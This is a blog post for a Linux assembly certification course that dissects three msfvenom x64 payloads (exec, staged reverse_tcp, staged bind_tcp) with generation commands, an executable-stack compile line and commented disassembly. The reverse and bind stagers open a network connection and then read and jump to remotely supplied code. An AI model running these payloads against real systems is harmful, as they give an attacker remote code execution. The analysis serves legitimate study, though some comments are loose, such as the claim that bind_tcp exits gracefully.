x64 SLAE — Assignment 5: Shellcode Analysis

Adam
6 min readDec 1, 2019

--

The fifth assignment for the x64 SLAE examination is to perform shellcode analysis for various msfvenom payloads. The payloads that were chosen are below:

  • linux/x64/exec
  • linux/x64/shell/reverse_tcp
  • linux/x64/shell/bind_tcp

linux/x64/exec

The first msfvenom payload that will be examined is linux/x64/exec. To start assessing it, the payload needs to be created. To start execute the following:

msfvenom -p linux/x64/exec CMD=whoami -f c

Copy the shellcode into a C harness, compile it, and have GDB walk through it:

gcc -fno-stack-protector -z execstack -o harness harness.cgdb -q ./harness

After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.

The commented shellcode is below:

; move 59 into rax
push 0x3b
pop rax
cdq
; move /bin/sh to the stack
movabs rbx,0x68732f6e69622f
push rbx
; move address of /bin/sh to rdi
mov rdi,rsp
; move "-c" to stack
push 0x632d
; move address of -c to rsi
mov rsi,rsp
push rdx

After we get to the call instruction, things change dramatically:

; jump to second part of shellcode
; also places the string 'whoami' on the stack
call 0x555555558067 <code+39>
** JUMP **; push address of "-c" to stack
push rsi
; push address of "/bin/sh" to stack
push rdi
; move address of ["/bin/sh", "-c", "whoami"] to rsi
mov rsi, rsp
; executes systemcall: execve("/bin/sh");
syscall

This ultimately executes: execve(“/bin/sh”, [“/bin/sh”, “-c”, “whoami”], null);

linux/x64/shell/reverse_tcp

The second msfvenom payload that will be examined is linux/x64/shell/reverse_tcp. To start assessing it, the payload needs to be created. To start execute the following:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f c

Copy the shellcode into a C harness, compile it, and have GDB walk through it:

gcc -fno-stack-protector -z execstack -o harness harness.cgdb -q ./harness

After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.

; clearing out registers
xor rdi,rdi
;:;:; ;:;:;
;:;:; Executing MMAP ;:;:;
;:;:; ;:;:;
; moving 0x9 into rax -> sys_mmap
push 0x9
pop rax
cdq
; moves 0x1000 into rdx and rsi -> length of copy
mov dh,0x10
mov rsi,rdx
; clearing r0
xor r9,r9
; moving 0x22 (34) into r10 -> flags to mmap
push 0x22
pop r10
; adds 0x07 into rdx turing it into 0x1007
mov dl,0x7
; executes systemcall -> mmap
syscall
;:;:; ;:;:;
;:;:; If failed -> JMP ;:;:;
;:;:; ;:;:;
; test results of systemcall
test rax,rax
; jump if failed to exit()
js 0x5555555580b7 <code+119>
; move 0xa (11) into r9
push 0xa
pop r9
; saving register values to the stack
push rsi
push rax
;:;:; ;:;:;
;:;:; Executing SOCKET ;:;:;
;:;:; ;:;:;
; moving 0x29 into rax -> sys_socket
push 0x29
pop rax
cdq
; moving 0x2 into rdi -> int family
push 0x2
pop rdi
; moving 0x1 into rsi -> int type
push 0x1
pop rsi
; executing sys_socket
syscall
;:;:; ;:;:;
;:;:; If failed -> JMP ;:;:;
;:;:; ;:;:;
; test results of systemcall
test rax,rax
; jump if failed to exit()
js 0x5555555580b7 <code+119>
; saving results from SOCKET for later
xchg rdi,rax
;:;:; ;:;:;
;:;:; Executing CONNECT ;:;:;
;:;:; ;:;:;
; Moving '127.0.0.1' and '8080' into rsi
movabs rcx,0x100007f901f0002
push rcx
mov rsi,rsp
; moving 0x10 into rdx
push 0x10
pop rdx
; moving 0x2a into rax
push 0x2a
pop rax
; executing sys_connect
syscall
;:;:; ;:;:;
;:;:; If failed -> JMP ;:;:;
;:;:; ;:;:;
; test results of systemcall
test rax,rax
; jump if failed
jns 0x5555555580ab <code+107>
dec r9
; jump if failed to exit()
je 0x5555555580b7 <code+119>
;:;:; ;:;:;
;:;:; Executing NANOSLEEP ;:;:;
;:;:; ;:;:;
; moving 0x23 into rax -> sys_nanosleep
push 0x23
pop rax
; moving timespec struct into rdi, 0x00 into rsi
push 0x0
push 0x5
mov rdi,rsp
xor rsi,rsi
; execute sys_nanosleep
syscall
;:;:; ;:;:;
;:;:; If failed -> JMP ;:;:;
;:;:; ;:;:;
; test results of systemcall
test rax,rax
; try to entire process again
jns 0x555555558060 <code+32>
; jump if failed to exit()
jmp 0x5555555580b7 <code+119>
;:;:; ;:;:;
;:;:; Executing READ ;:;:;
;:;:; ;:;:;
; moving '127.0.0.1' and '8080' into rcx
pop rcx
; moving 0x00 into rsi and rdx
pop rsi
pop rdx
; calling sys_read
syscall
; test results of systemcall
test rax,rax
; jump if failed to exit()
js 0x5555555580b7 <code+119>
jmp rsi
;:;:; ;:;:;
;:;:; Executing EXIT ;:;:;
;:;:; ;:;:;

; moving 0x3c (60) into rax -> sys_exit
push 0x3c
pop rax
; moving 0x1 into rdi -> exit code 1
push 0x1
pop rdi
; execute sys_exit
syscall

The resulting shellcode attempts to connect to a foreign host on the designated port then read commands from the user. If any errors occur, a jmp to the exit() function is made.

linux/x64/shell/bind_tcp

The third msfvenom payload that will be examined is linux/x64/shell/bind_tcp. To start assessing it, the payload needs to be created. To start execute the following:

msfvenom -p linux/x64/shell/bind_tcp LPORT=8080 -f c

Copy the shellcode into a C harness, compile it, and have GDB walk through it:

gcc -fno-stack-protector -z execstack -o harness harness.cgdb -q ./harness

After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.

;:;:;                  ;:;:;
;:;:; Executing SOCKET ;:;:;
;:;:; ;:;:;
; moving 0x29 into rax -> sys_socket
push 0x29
pop rax
cdq
; moving 0x2 into rdi -> out file descriptor
push 0x2
pop rdi
; moving 0x1 into rsi -> in file descriptor
push 0x1
pop rsi
; executing sys_socket
syscall
; saving 0x2 for later
xchg rdi,rax
push rdx
;:;:; ;:;:;
;:;:; Executing BIND ;:;:;
;:;:; ;:;:;
; moving the port number (8080) to the stack
mov DWORD PTR [rsp],0x901f0002
; moving address of port 8080 to rsi
mov rsi,rsp
; moving 0x10 (16) into rdx -> address length
push 0x10
pop rdx
; moving 0x31 into rax -> sys_bind
push 0x31
pop rax
; executing sys_bind
syscall
pop rcx
;:;:; ;:;:;
;:;:; Executing LISTEN ;:;:;
;:;:; ;:;:;
; moving 0x32 (50) into rax -> sys_listen
push 0x32
pop rax
; executing sys_listen
syscall
; saving results of listen for later
xchg rsi,rax
;:;:; ;:;:;
;:;:; Executing ACCEPT ;:;:;
;:;:; ;:;:;
; moving 0x2b to rax -> sys_accept
push 0x2b
pop rax
; executing system call -> sys_accept
syscall
; pushes results of ACCEPT to stack
push rax
push rsi
pop rdi
;:;:; ;:;:;
;:;:; Executing MMAP ;:;:;
;:;:; ;:;:;
; moves 0x9 to rax -> sys_mmap
push 0x9
pop rax
cdq
; moves 0x1000 into rdx
mov dh,0x10
; copies 0x1000 into rsi
mov rsi,rdx
; clears r9
xor r9,r9
; moves 0x22 into r10
push 0x22
pop r10
; adds 7 to rdx
mov dl,0x7
;:;:; ;:;:;
;:;:; Executing READ ;:;:;
;:;:; ;:;:
; executes sys_mmap
syscall
; saves results into various registers
xchg rsi,rax
xchg rdi,rax
; pops results of ACCEPT into rdi
pop rdi
; executes SYS_READ
syscall
jmp rsi

This shellcode creates a SOCKET, sets the socket to LISTEN, configures it to accept incoming connections, then starts to read input received. At the end it gracefully exits.

This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security